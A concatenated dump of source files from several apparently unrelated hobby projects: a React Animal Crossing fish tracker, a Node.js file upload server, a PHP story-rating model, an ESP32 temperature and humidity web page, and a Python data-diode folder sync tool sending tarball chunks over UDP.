index is the date of the sunday for the week ahead<file_sep>/src/utils/dates.js import dayjs from 'dayjs'; import isoWeek from 'dayjs/plugin/isoWeek'; dayjs.extend(isoWeek); /** * if refDate is a sunday, then returns refDate, otherwise we get the previous sunday */ export const getSundayDateForWeek = (refDate) => { const date = dayjs(`${refDate}T12:00:00.000Z`); const d = dayjs(date).day(); if (d === 0) return dayjs(date).format('YYYY-MM-DD'); const currentWeek = dayjs(date).startOf('week').format('YYYY-MM-DD'); return currentWeek; }; export const getNextWeek = (week) => dayjs(week).add(1, 'week').format('YYYY-MM-DD'); export const getPreviousWeek = (week) => dayjs(week).subtract(1, 'week').format('YYYY-MM-DD'); <file_sep>/src/data/img/fish.js import anchovy from './Anchovy_NH_Icon.png'; import angelfish from './Angelfish_HHD_Icon.png'; import arapaima from './Arapaima_HHD_Icon.png'; import arowana from './Arowana_HHD_Icon.png'; import barredknifejaw from './Barred_Knifejaw_HHD_Icon.png'; import barreleye from './Barreleye_NH_Icon.png'; import betta from './Betta_NH_Icon.png'; import bitterling from './Bitterling_HDD_Icon.png'; import blackbass from './Black_Bass_HHD_Icon.png'; import blowfish from './Blowfish_HHD_Icon.png'; import bluemarlin from './Blue_Marlin_HHD_Icon.png'; import bluegill from './Bluegill_HHD_Icon.png'; import butterflyfish from './NH-Icon-butterflyfish.png'; import carp from './Carp_HHD_Icon.png'; import catfish from './Catfish_HHD_Icon.png'; import char from './Char_HHD_Icon.png'; import cherrysalmon from './Cherry_Salmon_HHD_Icon.png'; import clownfish from './Clownfish_HHD_Icon.png'; import coelacanth from './Coelacanth_HHD_Icon.png'; import crawfish from './Crawfish_HHD_Icon.png'; import cruciancarp from './Crucian_Carp_HHD_Icon.png'; import dab from './Dab_HHD_Icon.png'; import dace from './Dace_HHD_Icon.png'; import dorado from './Dorado_HHD_Icon.png'; import footballfish from './Football_Fish_HHD_Icon.png'; import freshwatergoby from './Freshwater_Goby_HHD_Icon.png'; import frog from './Frog_HHD_Icon.png'; import gar from './Gar_HHD_Icon.png'; import giantsnakehead from './Giant_Snakehead_HHD_Icon.png'; import gianttrevally from './Giant_Trevally_HHD_Icon.png'; import goldentrout from './Golden_Trout_NH_Icon.png'; import goldfish from './Goldfish_HHD_Icon.png'; import guppy from './Guppy_HHD_Icon.png'; import hammerheadshark from './Hammerhead_Shark_HHD_Icon.png'; import horsemackerel from './Horse_Mackerel_HHD_Icon.png'; import killifish from './Killifish_HHD_Icon.png'; import kingsalmon from './King_Salmon_HHD_Icon.png'; import koi from './Koi_HHD_Icon.png'; import loach from './Loach_HHD_Icon.png'; import mahimahi from './Mahi-Mahi_NH_Icon.png'; import mittencrab from './Mitten_Crab_HHD_Icon.png'; import morayeel from './Moray_Eel_HHD_Icon.png'; import napoleonfish from './Napoleonfish_HHD_Icon.png'; import neontetra from './Neon_Tetra_HHD_Icon.png'; import nibblefish from './Nibble_Fish_HHD_Icon.png'; import oarfish from './Oarfish_HHD_Icon.png'; import oceansunfish from './Ocean_Sunfish_HHD_Icon.png'; import oliveflounder from './Olive_Flounder_HHD_Icon.png'; import palechub from './Pale_Chub_HHD_Icon.png'; import pike from './Pike_HHD_Icon.png'; import piranha from './Piranha_HHD_Icon.png'; import pondsmelt from './Pond_Smelt_HHD_Icon.png'; import popeyedgoldfish from './Popeyed_Goldfish_HHD_Icon.png'; import pufferfish from './Puffer_Fish_HHD_Icon.png'; import rainbowfish from './Rainbowfish_NH_Icon.png'; import ranchugoldfish from './Ranchu_Goldfish_NH_Icon.png'; import ray from './Ray_HHD_Icon.png'; import redsnapper from './Red_Snapper_HHD_Icon.png'; import ribboneel from './Ribbon_Eel_HHD_Icon.png'; import saddledbichir from './Saddled_Bichir_HHD_Icon.png'; import salmon from './Salmon_HHD_Icon.png'; import sawshark from './Saw_Shark_HHD_Icon.png'; import seabass from './Sea_Bass_HHD_Icon.png'; import seabutterfly from './Sea_Butterfly_HHD_Icon.png'; import seahorse from './NH-Icon-seahorse.png'; import greatwhiteshark from './Shark_HHD_Icon.png'; import snappingturtle from './Snapping_Turtle_NH_Icon.png'; import softshelledturtle from './Soft-Shelled_Turtle_HHD_Icon.png'; import squid from './Squid_HHD_Icon.png'; import stringfish from './Stringfish_HHD_Icon.png'; import sturgeon from './Sturgeon_HHD_Icon.png'; import suckerfish from './Suckerfish_NH_Icon.png'; import surgeonfish from './Surgeonfish_HHD_Icon.png'; import sweetfish from './Sweetfish_HHD_Icon.png'; import tadpole from './Tadpole_HHD_Icon.png'; import tilapia from './Tilapia_NH_Icon.png'; import tuna from './Tuna_HHD_Icon.png'; import whaleshark from './Whale_Shark_HHD_Icon.png'; import yellowperch from './Yellow_Perch_HHD_Icon.png'; import zebraturkeyfish from './Zebra_Turkeyfish_HHD_Icon.png'; export default { anchovy, angelfish, arapaima, arowana, barredknifejaw, barreleye, betta, bitterling, blackbass, blowfish, bluemarlin, bluegill, butterflyfish, carp, catfish, char, cherrysalmon, clownfish, coelacanth, crawfish, cruciancarp, dab, dace, dorado, footballfish, freshwatergoby, frog, gar, giantsnakehead, gianttrevally, goldentrout, goldfish, guppy, hammerheadshark, horsemackerel, killifish, kingsalmon, koi, loach, mahimahi, mittencrab, morayeel, napoleonfish, neontetra, nibblefish, oarfish, oceansunfish, oliveflounder, palechub, pike, piranha, pondsmelt, popeyedgoldfish, pufferfish, rainbowfish, ranchugoldfish, ray, redsnapper, ribboneel, saddledbichir, salmon, sawshark, seabass, seabutterfly, seahorse, greatwhiteshark, snappingturtle, softshelledturtle, squid, stringfish, sturgeon, suckerfish, surgeonfish, sweetfish, tadpole, tilapia, tuna, whaleshark, yellowperch, zebraturkeyfish, }; <file_sep>/src/components/Loading.jsx import React from 'react'; import { Container } from 'reactstrap'; const Loading = () => ( <Container style={{ textAlign: 'center' }}>Loading...</Container> ); export default Loading; <file_sep>/src/components/FishTable/FishIcons.jsx import React from 'react'; import PropTypes from 'prop-types'; import icons from '../../data/img/fish'; const iconNames = Object.keys(icons); const propTypes = { icon: PropTypes.oneOf(iconNames).isRequired, }; const FishIcons = ({ icon }) => <><img src={icons[icon]} alt={icon} /></>; FishIcons.propTypes = propTypes; export default FishIcons; <file_sep>/src/components/ProgressBar.jsx import React from 'react'; import PropTypes from 'prop-types'; import { Progress } from 'reactstrap'; import styled from 'styled-components'; const Wrapper = styled.div` height: 30px; .progress { height: 100%; } `; const propTypes = { current: PropTypes.number.isRequired, total: PropTypes.number.isRequired, }; const ProgressBar = ({ current, total }) => { const value = Math.round((current * 100) / total); return ( <Wrapper> <Progress value={value} striped color="warning"> <strong>{`${value}%`}</strong> </Progress> </Wrapper> ); }; ProgressBar.propTypes = propTypes; export default ProgressBar; <file_sep>/src/components/HemisphereButton.jsx import React from 'react'; import { Button, ButtonGroup } from 'reactstrap'; import PropTypes from 'prop-types'; const propTypes = { hemisphere: PropTypes.oneOf(['northern', 'southern']).isRequired, callback: PropTypes.func.isRequired, }; const HemisphereButton = ({ hemisphere, callback }) => { const toggle = (value) => { if (value !== hemisphere) { callback(value); } }; return ( <ButtonGroup> <Button disabled={hemisphere === 'northern'} color={hemisphere === 'northern' ? 'primary' : 'link'} onClick={() => toggle('northern')} > Northern Hemisphere </Button> <Button disabled={hemisphere === 'southern'} color={hemisphere === 'southern' ? 'primary' : 'link'} onClick={() => toggle('southern')} > Southern Hemisphere </Button> </ButtonGroup> ); }; HemisphereButton.propTypes = propTypes; export default HemisphereButton;
0e06c412eb66d61acca7b160176bb0a5b8a93947
[ "JavaScript", "Markdown" ]
21
JavaScript
po8rewq/acnh-tracker
20b45a367ad4e2a7a4c4396b0e4557936221ff97
224f071144f7527ed939d526064659ed70b9e016
refs/heads/master
<file_sep>/** * 文件 */ var datasource = require('../datasource'); var $ = require('../utils'); var base_dao = require('./base_dao'); var file_schema = datasource.mongoose.Schema({ name : String, // 文件名 path : String, // 文件路径 type : String, // 文件类型 size : Number, // 文件大小 uploadTime : Number // 上传时间 }); var file_model = datasource.db.model('file',file_schema); module.exports = $.extend(new base_dao(file_model,file_schema));<file_sep>var express = require('express'); var multipart = require('connect-multiparty'); var promise = require('bluebird'); var fs = promise.promisifyAll(require('fs')); var path = require('path'); var evn = require('../evn'); var uuid = require('node-uuid'); var fileDao = require('../dao/file'); /** * 创建文件夹 * @param dirpath * @returns {boolean} */ fs.mkdirsSync = function(dirpath){ dirpath.replace('/',path.sep); var pathtemp =path.sep; dirpath.split(path.sep).forEach(function(dirName){ pathtemp = path.join(pathtemp,dirName); if(!fs.existsSync(pathtemp)){ if(!fs.mkdirSync(pathtemp)){ return false; } } }); return true; }; var router = express.Router(); var mulitipartMiddleware = multipart({ uploadDir : evn.tempUploadDir }); router.get('/test.html',function(req,res){ res.render('index'); }); var getStoreDir = function(){ var currentDate = new Date(); var year = currentDate.getFullYear(); var month = currentDate.getMonth()+1; var day = currentDate.getDate(); var storeDir = year + path.sep + month + path.sep + day; return storeDir; }; /* 文件上传 */ router.post('/upload.do', mulitipartMiddleware,function(req, res, next) { var files = req.files; // 判断文件库是否存在 if (!fs.existsSync(evn.fileStoreDir)) { // 文件库不存在,创建文件库 fs.mkdirsSync(evn.fileStoreDir); } var currentFileStoreDir = getStoreDir(); var currentFileStoreRealDir = path.join(evn.fileStoreDir,currentFileStoreDir); if(!fs.existsSync(currentFileStoreRealDir)){ fs.mkdirsSync(currentFileStoreRealDir); } var result = {}; var eachIndex = 0; var countFile = 0; for(var key in files){ countFile++; } function response(){ if(eachIndex == countFile) { res.render("uploadSuccess",{result:JSON.stringify(result)}); } } for(var key in files){ var file = files[key]; var fileStartName = uuid.v4(); var fileName = fileStartName + "___" + file.originalFilename; var httpPath = currentFileStoreDir + "/" + fileName; result[file.originalFilename] = 'fail'; fileDao.saveAsync({ name : file.originalFilename, path : httpPath, type : file.type, size : file.size, uploadTime : new Date().getTime() }).then(function(file,currentFileStoreRealDir,fileName){ return function(storedFile){ eachIndex ++; fs.writeFileSync(currentFileStoreRealDir+ path.sep +fileName,fs.readFileSync(file.path)); fs.unlinkSync(file.path); result[key] = { id : storedFile.id, name : storedFile.name }; response(); } }(file,currentFileStoreRealDir,fileName)).catch(function(file,currentFileStoreRealDir,fileName){ return function(e){ eachIndex ++; fs.unlinkSync(currentFileStoreRealDir+ path.sep +fileName); response(); } }(file,currentFileStoreRealDir,fileName)); } }); /* 文件下载 */ router.get('/download/:id.do',function(req,res){ var fileId = req.params.id; fileDao.findByIdAsync(fileId).then(function(storeFile){ var filePath = storeFile.path; var fileRealPath = path.join(evn.fileStoreDir,filePath); res.download(fileRealPath,storeFile.name); }); }); /* 文件查看 */ router.get('/view/:id.do',function(req,res){ var fileId = req.params.id; fileDao.findByIdAsync(fileId).then(function(storeFile){ var filePath = storeFile.path; var fileRealPath = path.join(evn.fileStoreDir,filePath); fs.readFile(fileRealPath, "binary", function(error, file) { if(error) { res.writeHead(500, {"Content-Type": "text/plain"}); res.write(error + "\n"); res.end(); } else { res.writeHead(200, {"Content-Type": "image/png"}); res.write(file, "binary"); res.end(); } }); }); }); router.get('/',function(req,res){ fileDao.findAsync().then(function(storeFiles){ res.render('index.html',{files:storeFiles}); }); }); module.exports = router; <file_sep> var base_dao = function(model,schema){ this.model = model; this.schema = schema; }; /* 保存 */ base_dao.prototype.saveAsync = function(doc){ var entity = new this.model(doc); return entity.saveAsync(); }; /* 查询全部 */ base_dao.prototype.findAsync = function(){ return this.model.findAsync.apply(this.model,arguments); }; /** * 根据id进行查询 * @param id */ base_dao.prototype.findByIdAsync = function(id){ return this.model.findAsync({_id:id}).then(function(docs){ if(docs.length > 0){ return docs[0]; }else{ return null; } }); }; /* 分页 */ base_dao.prototype.page = function(find_info,start_page,page_size,callback){ var inthis = this; var result = { pagenumber : 1, pagecount : 1, rowcount : 0, rows : [] }; inthis.model.countAsync(find_info).then(function(count){ result.rowcount = count; if(count%page_size>0){ result.pagecount = count / page_size + 1; } else{ result.pagecount = count/page_size; } if(start_page > result.pagecount){ start_page = result.pagecount; } if(start_page <1){ start_page = 1; } result.pagenumber = start_page; }).then(function(){ inthis.model.find(find_info).limit(page_size).skip((start_page-1)*page_size).execAsync().then(function(docs){ result.rows = docs; callback(null,result); }).catch(function(err){ callback(err,null); }) }).catch(function(err){ callback(err,null); }); }; /* 删除 */ base_dao.prototype.deleteByIdAsync = function(del_ids){ return this.model.removeAsync({_id:del_ids}); }; /* 更新 */ base_dao.prototype.updateAsync = function(conditions, doc, options){ return this.model.updateAsync(conditions,doc,options); }; /* 查询数量 */ base_dao.prototype.countAsync = function(conditions){ return this.model.countAsync(conditions); }; module.exports = base_dao;<file_sep>var extend = function(destination, source) { for (var property in source) destination[property] = source[property]; return destination; } exports.extend = extend; module.exports = extend(exports,{ "strIsBlank" : function(_Str){ if(_Str == null){ return true; } return /^\s*$/.test(_Str); }, 'strIsNotBlank' : function(_Str){ return !this.strIsBlank(_Str); }} );
7c3a5c92286828669ac2cb674ca742cc8826242b
[ "JavaScript" ]
4
JavaScript
easymanagewp/fileServer
72f1e69c35a3db305932bfdbcfa07b17fbb00051
8375c45d15fde808cb51ce439dddb20d43205042
refs/heads/main
<file_sep>#include <WiFi.h> #include <Wire.h> #include "DHT.h" #define DHTTYPE1 DHT22 #define DHTTYPE2 DHT22 //DHT Sensor; uint8_t DHTPin1 = 14; uint8_t DHTPin2 = 13; DHT dht1(DHTPin1, DHTTYPE1); DHT dht2(DHTPin2, DHTTYPE2); float Temperature1; float Humidity1; float Temperature2; float Humidity2; const char* ssid = "yourWiFiSSID"; const char* password = "<PASSWORD>"; WiFiServer server(80); String header; // Set the static IP address to specified: IPAddress local_IP(192, 168, 0, 135); //Change below's address to your current router(DHCP) address IPAddress gateway(192, 168, 0, 1); IPAddress subnet(255, 255, 0, 0); IPAddress primaryDNS(8, 8, 8, 8); IPAddress secondaryDNS(8, 8, 4, 4); void setup() { Serial.begin(115200); pinMode(DHTPin1, INPUT); pinMode(DHTPin2, INPUT); dht1.begin(); dht2.begin(); // This part of code will try create static IP address if (!WiFi.config(local_IP, gateway, subnet, primaryDNS, secondaryDNS)) { Serial.println("STA Failed to configure"); } Serial.print("Connecting to Wifi Network"); Serial.println(ssid); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("Successfully connected to WiFi."); Serial.println("IP address of ESP32 is : "); Serial.println(WiFi.localIP()); server.begin(); Serial.println("Server started"); } void loop() { Temperature1 = dht1.readTemperature(); Humidity1 = dht1.readHumidity(); Temperature2 = dht2.readTemperature(); Humidity2 = dht2.readHumidity(); WiFiClient client = server.available(); if (client) { Serial.println("Web Client connected "); String request = client.readStringUntil('\r'); client.println("HTTP/1.1 200 OK"); client.println("Content-type:text/html"); client.println("Connection: close"); client.println(); // Display html web page client.println("<!DOCTYPE html><html>"); client.println("<head><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">"); client.println("<link rel=\"icon\" href=\"data:,\">"); // CSS to style the table client.println("<style>body { text-align: center; font-family: \"Arial\", Arial;}"); client.println("table { border-collapse: collapse; width:40%; margin-left:auto; margin-right:auto;border-spacing: 2px;background-color: white;border: 4px solid green; }"); client.println("th { padding: 2px; background-color: #008000; color: white; }"); client.println("tr { border: 5px solid green; padding: 2px; }"); client.println("tr:hover { background-color:yellow; }"); client.println("td { border:4px; padding: 2px; }"); client.println(".img-container { text-align: center; }"); client.println(".sensor { color:black; font-weight: bold; padding: 1px; }"); // Web Page Heading client.println("</style></head><body><h1>So that's going to be our new</h1>"); client.println("<h2>Temperature and Humidity meter :)</h2>"); client.println("<h2>For every room... </h2>"); client.println("<h2>Quite soon :D </h2>"); client.println("<table><tr><th>MEASUREMENT</th><th>VALUE</th></tr>"); client.println("<tr><td>Temp sensor 1</td><td><span class=\"sensor\">"); client.println(dht1.readTemperature()); client.println(" *C</span></td></tr>"); client.println("<tr><td>Temp sensor 2</td><td><span class=\"sensor\">"); client.println(dht2.readTemperature()); client.println(" *C</span></td></tr>"); // client.println("<tr><td>Temp. Fahrenheit</td><td><span class=\"sensor\">"); // client.println(1.8 * dht.readTemperature() + 32); // client.println(" *F</span></td></tr>"); client.println("<tr><td>Humidity 1</td><td><span class=\"sensor\">"); client.println(dht1.readHumidity()); client.println(" %</span></td></tr>"); client.println("<tr><td>Humidity 2</td><td><span class=\"sensor\">"); client.println(dht2.readHumidity()); client.println(" %</span></td></tr>"); client.println("<div class=\"img-container\">"); client.println("<table><tr><img src=\"https://github.com/c4rt0/humidityMap/blob/main/images/Smiley.png?raw=true\" alt=\"What are you looking at? :D\" width=\"500\" height=\"500\"></tr></table><span class=\"sensor\">"); client.println("</div>"); client.println("</body></html>"); client.stop(); client.println(); Serial.println("Client disconnected."); Serial.println(""); } }<file_sep># humidityMap This project was on my mind for a while now - since I live in beautiful Ireland I am in serious need of humidity and temperature sensors placed allover my apartment. I decided to go with ESP32's and Pi as MQTT server. I am aiming to build here heat and humidity map of my apartment to compare results in the future after installing mvhr (Mechanical Ventilation with Heat Recovery) unit. Below a screenshot presenting current client view and a picture of simple harware implementation. ![alt text](https://github.com/c4rt0/humidityMap/blob/main/images/Capture1.PNG "Current web client view") ![alt text](https://github.com/c4rt0/humidityMap/blob/main/images/20210217_150500.jpg "Current implementation")
cdb06d30e7f4542e1939c626e906258b1f7d285d
[ "Markdown", "C++" ]
2
C++
c4rt0/humidityMap
5c0d9f57cda699d14c7151768970226060305628
e52886dad8b578aa81b94ece19439d2ad8503f07
refs/heads/master
<file_sep><?php function upload_path($month, $year) { $month = str_pad($month, 2, 0, STR_PAD_LEFT); return "/uploads/$year/$month"; } function upload_file_name($title, $extension) { $title = preg_replace('/\s+/', '_', snake_case($title)); return $title. '.' . $extension; } function rating_array() { $range = range(1, 10, 0.5); return ['' => ''] + array_combine($range, $range); }<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Carbon\Carbon; use Illuminate\Support\Facades\Auth; use Symfony\Component\HttpFoundation\File\UploadedFile; class Story extends Model { protected $fillable = [ 'title', 'author', 'month', 'year', 'file', ]; protected $appends = [ 'status', 'user_score', ]; public function scopeLatest($query) { $query->orderBy('year', 'desc')->orderBy('month', 'desc'); } public function scopeWithoutVote($query, $user_id) { $current = Carbon::now()->subMonth(); $query->where('month','=', $current->month) ->where('year', '=', $current->year); } public function getMonthAttribute($month) { return Carbon::createFromFormat('n', $month)->format('F'); } public function getStatusAttribute() { $votes = Rating::where('user_id', Auth::user()->id) ->where('story_id', $this->id) ->count(); return ($votes > 0); } public function getUserScoreAttribute() { return $this->ratings() ->where('user_id', Auth::user()->id) ->pluck('rating') ?: 0; } public function setFileAttribute(UploadedFile $file) { $title = $this->attributes['title']; $month = $this->attributes['month']; $year = $this->attributes['year']; $filename = upload_file_name($title, $file->guessExtension()); $path = upload_path($month, $year); $file->move( public_path() . '/' . $path, $filename ); $this->attributes['file'] = "$path/$filename"; } public function ratings() { return $this->hasMany('App\Rating'); } public function statusClass() { return $this->status ? 'ok' : 'remove'; } public function buttonText() { return $this->status ? 'Voted!' : 'Pending!'; } }
ce496c176b959a042ba8eb1f4513385e3c7b5f17
[ "PHP" ]
2
PHP
albarin/ploc-relats
ae827ac07c8ffe4b2fcb05f54bf8392e44ed20d2
724b385c613ea0f346ec6499694948ecd39ce274
refs/heads/main
<file_sep>from os import PathLike import os from typing import Callable, Dict, Iterable, NamedTuple, List, Optional, Set, Tuple, Union from pathlib import Path import socket from glob import iglob import tarfile import tempfile from diode_ftp.FileChunker import FileChunker import time from logging import getLogger import shelve from gitignore_parser.gitignore_parser import parse_gitignore from si_prefix import si_format FileMetadata = NamedTuple('FileMetadata', [('path', Path), ('size', int), ('mtime', float)]) default_sender_log = getLogger('folder_sender') class FolderSender(): """Synchronizes a folder on the transmission side""" def __init__(self, folder: PathLike, send_to: Tuple[str, int], transmit_socket: Optional[socket.socket] = None, chunk_size = 1400, max_bytes_per_second = 20000, transmit_repeats=2) -> None: """Create a new Folder Sender. In the folder, we will automatically create a python shelf named .sender_sync_data Args: folder (PathLike): The folder you want to sync send_to (Tuple[str, int]): The IP address, Port that you want to sync to transmit_socket (Optional[socket.socket], optional): The socket to use for transmission. If you have an existing socket you want to use, pass it here. Otherwise, leave it to None to custom create a new socket. Defaults to None. chunk_size (int, optional): The maximum size for each chunk. Try to fit it in your MTU. Defaults to 1400. max_bytes_per_second (int, optional): Bandwidth limit. Set it to 0 for unlimited bandwidth. Defaults to 20000. transmit_repeats (int, optional): Number of times to retransmit each chunk. Defaults to 2. Raises: ValueError: Raises if the path to sync doesn't exist """ self.root = Path(folder).resolve() if not self.root.exists() or not self.root.is_dir(): raise ValueError("The sync folder doesn't exist or is not a directory!") self.send_to = send_to if transmit_socket is None: self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) else: self.sock = transmit_socket self.chunk_size = chunk_size self.max_bytes_per_sec = max_bytes_per_second self.transmit_repeats = transmit_repeats self.log = getLogger(str(folder)) diodeinclude_path = self.root / '.diodeinclude' if diodeinclude_path.exists(): self.log.warning('A .diodeinclude file was found in the directory, will on send files matched by the include') self.log.warning(f'Network parameters: Chunk size of {chunk_size} bytes @ {si_format(max_bytes_per_second, precision=0)}bytes/s') def perform_sync(self): """You may want to override this method if you would like to add intermediate steps For example, you may want to GZIP all the files before sending them. """ all_metadata = get_all_file_metadata(self.root) with self.shelf() as db: sent_files: Set[FileMetadata] = db.get('sent', set()) # new files are detected rsync style: # we do a comparison of the previous 'sent' set and the new set of file metdata # any changes in mtime, path, or file size will trigger a retransmission changed_files = all_metadata - sent_files if len(changed_files) == 0: self.log.debug('no new files found') return self.log.info(f'Found {len(changed_files)} changed files') self.log.debug(f'Changed files: {changed_files}') renamer_to_file = { lambda p: (self.root / p, str(p)): changed_files } tar_path, included = tarball_files(renamer_to_file) self.log.debug(f'Created new tarball: {tar_path}') chunker = self.get_chunker(tar_path) transmit_chunks(chunker, self.sock, self.send_to, self.max_bytes_per_sec, self.transmit_repeats, self.log) self.log.info(f'Transmitted tarball: {tar_path} (hash: {chunker.hash.hex()})') # do cleanup with self.shelf() as db: db['sent'] = included.union(sent_files) self.handle_sent(tar_path) def shelf(self): return shelve.open(str(self.root / '.sender_sync_data')) def get_chunker(self, file: Path): return FileChunker(file, chunk_size=self.chunk_size) def handle_sent(self, tarball: Path): self.log.debug(f'Deleting: {tarball}') os.unlink(tarball) ResolveAbsoluteAndAliasFunc = Callable[[Path], Tuple[Union[str, Path], str]] def tarball_files(resolver_to_file: Dict[ResolveAbsoluteAndAliasFunc, Iterable[FileMetadata]], tar_dir: Path=None): included: Set[FileMetadata] = set() with tempfile.NamedTemporaryFile('wb', suffix='.tar', delete=False, dir=tar_dir) as f: with tarfile.open(fileobj=f, mode='w', format=tarfile.GNU_FORMAT) as tarball: for resolver, files in resolver_to_file.items(): for file in files: try: absolute_path, alias_name = resolver(file.path) tarball.add(absolute_path, arcname=alias_name) included.add(file) except OSError: pass f.close() return Path(f.name), included def transmit_chunks(chunker: FileChunker, sock: socket.socket, send_to: Tuple[str, int], max_bytes_per_sec=0, num_repeats=2, log=default_sender_log): total_bytes = 0 start_time = time.monotonic() for copy in range(0, num_repeats): log.info(f'Sending copy {copy+1}/{num_repeats}') with chunker.chunk_iterator() as chunks: for chunk_idx, chunk in enumerate(chunks): total_bytes += len(chunk) sock.sendto(chunk, send_to) if max_bytes_per_sec != 0: time.sleep(len(chunk) / max_bytes_per_sec) log.debug(f'Sent copy {copy+1}/{num_repeats} of chunk {chunk_idx}') total_time = time.monotonic() - start_time log.info(f'Sent {si_format(total_bytes, precision=0)}bytes in {total_time}s ({si_format(total_bytes / (total_time+0.0001))}bytes/s)') def get_all_file_metadata(root: Path, rel_to_root=True, find_diodeinclude=True, ignore_hidden=True, follow_links=True): def file_to_metadata(file_path_str: str): file_path = Path(file_path_str) stat = file_path.stat() return FileMetadata(Path(file_path).relative_to(root) if rel_to_root else file_path.resolve(), stat.st_size, stat.st_mtime) metadata: Set[FileMetadata] = set() matcher = None if find_diodeinclude: diodeignore_path = root / '.diodeinclude' if diodeignore_path.exists(): matcher = parse_gitignore(diodeignore_path, root) for dir_name, _, files in os.walk(root, followlinks=follow_links): if ignore_hidden: files = filter(lambda p: not p.startswith('.'), files) if matcher is not None: files = filter(lambda p: matcher(os.path.join(dir_name, p)), files) files_metadata = map(lambda p: file_to_metadata(os.path.join(dir_name, p)), files) metadata.update(files_metadata) return metadata<file_sep>from diode_ftp.bitset import bitset from os import PathLike import os from typing import Set, Tuple, Union from pathlib import Path import tarfile import asyncio from diode_ftp.header import HEADER_SIZE, Header, hash_file, parse_header from logging import getLogger import shelve from threading import Thread from queue import SimpleQueue class FolderReceiver(asyncio.DatagramProtocol): """Synchronizes a folder on the reception side. Uses Asyncio to reduce idle resource usage""" def __init__(self, folder: PathLike, delete_tars: bool = True) -> None: """Creates a Folder Receiver. Unlike FolderSender, this is implemented as an asyncio protocol. You will need to use asyncio methods to set your socket and port. In the folder, we will automatically create a python shelf named .receiver_sync_data Args: folder (PathLike): The folder you want to sync to delete_tars (bool, optional): Deletes tars after they have completed. Defaults to True. Raises: ValueError: The folder to sync to doesn't exist """ super().__init__() self.root = Path(folder).resolve() if not self.root.exists(): raise ValueError("The sync folder doesn't exist!") self.delete_tars = delete_tars self.log = getLogger(str(folder)) self.queue: SimpleQueue[memoryview] = SimpleQueue() self.worker = FolderReceiverWorker(self) self.worker.start() def connection_made(self, transport) -> None: self.transport = transport def shelf(self): return shelve.open(str(self.root / '.receiver_sync_data')) def datagram_received(self, frame: bytes, addr: Tuple[str, int]) -> None: if(len(frame) < HEADER_SIZE): self.log.warn(f'Received a too-small frame from {addr}') return frame_data = memoryview(frame) self.queue.put(frame_data) def get_tar_path(self, header: Header): return self.root / f'{header.hash.hex()}.tar' class FolderReceiverWorker(Thread): def __init__(self, owner: FolderReceiver) -> None: super().__init__() self.owner = owner self.daemon = True def connection_made(self, transport) -> None: self.transport = transport def run(self) -> None: # to reduce overhead of processing already-completed files, we cache the hashes of # already done files in known_complete known_complete: Set[bytes] = set() while frame_data := self.owner.queue.get(): # this is the critical loop. Any cool ideas u got to reduce this execution time goes here # TODO: speed up critical loop header = parse_header(frame_data[0:HEADER_SIZE]) chunk_data = frame_data[HEADER_SIZE:] file_complete = False # now we check the known_complete set to check if the file is complete with 0 filesystem access if header.hash in known_complete: continue with self.owner.shelf() as db: # If a hash yields "true", then the file with that hash is complete. # Else, it yields a set of the indicies already received chunk_set: Union[bool, bitset] = db.get(header.hash.hex(), bitset(header.total)) if isinstance(chunk_set, bool): # add to cache. We want to restrict the size of known_complete to not run out of ram if len(known_complete) > 10: known_complete = set([header.hash]) else: known_complete.add(header.hash) self.owner.log.debug('Received a chunk for a file we already completed') continue if chunk_set[header.index]: self.owner.log.debug('Received a chunk that we already have') continue tarball_path = self.owner.get_tar_path(header) self.write_chunk(header, chunk_data, tarball_path) chunk_set[header.index] = True num_chunks = len(chunk_set) if num_chunks == header.total: db[header.hash.hex()] = True file_complete = True else: db[header.hash.hex()] = chunk_set if not file_complete: pct_prev = int(100 * (num_chunks - 1) / header.total) if num_chunks > 0 else 0 pct_complete = int(100 * num_chunks / header.total) if pct_prev // 10 != pct_complete // 10: self.owner.log.info(f'Received {pct_complete}% of {header.hash.hex()}') self.owner.log.debug(f'Received {num_chunks}/{header.total} total chunks for {header.hash.hex()}') continue self.owner.log.info(f'{header.hash.hex()} Complete') self.extract_tarball(tarball_path) self.owner.log.info(f'Extracted tarball {str(tarball_path)}') self.handle_received(tarball_path) def write_chunk(self, header: Header, data: memoryview, file: Path): with open(str(file), mode='a+b') as f: f.seek(header.offset) f.write(data) def extract_tarball(self, tar_file: Path, validate_hash=True): if validate_hash: file_hash = hash_file(tar_file).hex() expected_hash = tar_file.stem if file_hash != expected_hash: self.owner.log.warn(f'TARBALL HAS ALL REQUIRED CHUNKS, BUT HASHES DO NOT MATCH! (expect {tar_file} to hash to {file_hash})') tarball = tarfile.open(tar_file, format=tarfile.GNU_FORMAT) tarball.extractall(self.owner.root) tarball.close() def handle_received(self, tarball: Path): if self.owner.delete_tars: os.unlink(tarball)<file_sep>from os import PathLike from os.path import getsize from typing import Iterable, Iterator from diode_ftp.header import HEADER_SIZE, create_header, hash_file, Header class FileChunker(Iterable): """Represents the chunking of a file""" def __init__(self, file_path: PathLike, chunk_size: int=1400) -> None: """Creates a file chunker Args: file_path (PathLike): Path to the file you would like to chunk chunk_size (int, optional): The maximum size of each chunk (including the 48-byte header). Defaults to 1400, roughly the Ethernet-IPV4-UDP max packet size. """ assert chunk_size > HEADER_SIZE self.chunk_data_size = chunk_size - HEADER_SIZE self.total_chunks = ((getsize(file_path) + self.chunk_data_size - 1) // self.chunk_data_size) self.file_path = file_path self.hash = hash_file(file_path) def chunk_iterator(self): """Gets the chunk iterator for the file Returns: Iterator[bytes]: An iterator object which will go through chunk by chunk """ return self.__iter__() def __iter__(self): return FileChunkIterator(self) class FileChunkIterator(Iterator[bytes]): def __init__(self, owner: FileChunker) -> None: self.owner = owner def __enter__(self): self.file = open(self.owner.file_path, 'rb', buffering=self.owner.chunk_data_size) return self def __exit__(self, exception_type, exception_value, exception_traceback): self.file.close() self.file = None def __next__(self): assert self.file != None, "File Chunk Iterator can only be run within a `with` statement" offset = self.file.tell() file_data = self.file.read(self.owner.chunk_data_size) if len(file_data) == 0: raise StopIteration() return create_header( Header(self.owner.hash, offset, offset // self.owner.chunk_data_size, self.owner.total_chunks)) + file_data<file_sep>from tests.common import * from diode_ftp.header import hash_file from diode_ftp import FileChunker, FileReassembler, HEADER_SIZE from pathlib import Path import random def test_chunker(tmp_path: Path): chunker = FileChunker(PAYLOAD, chunk_size=8*1024) 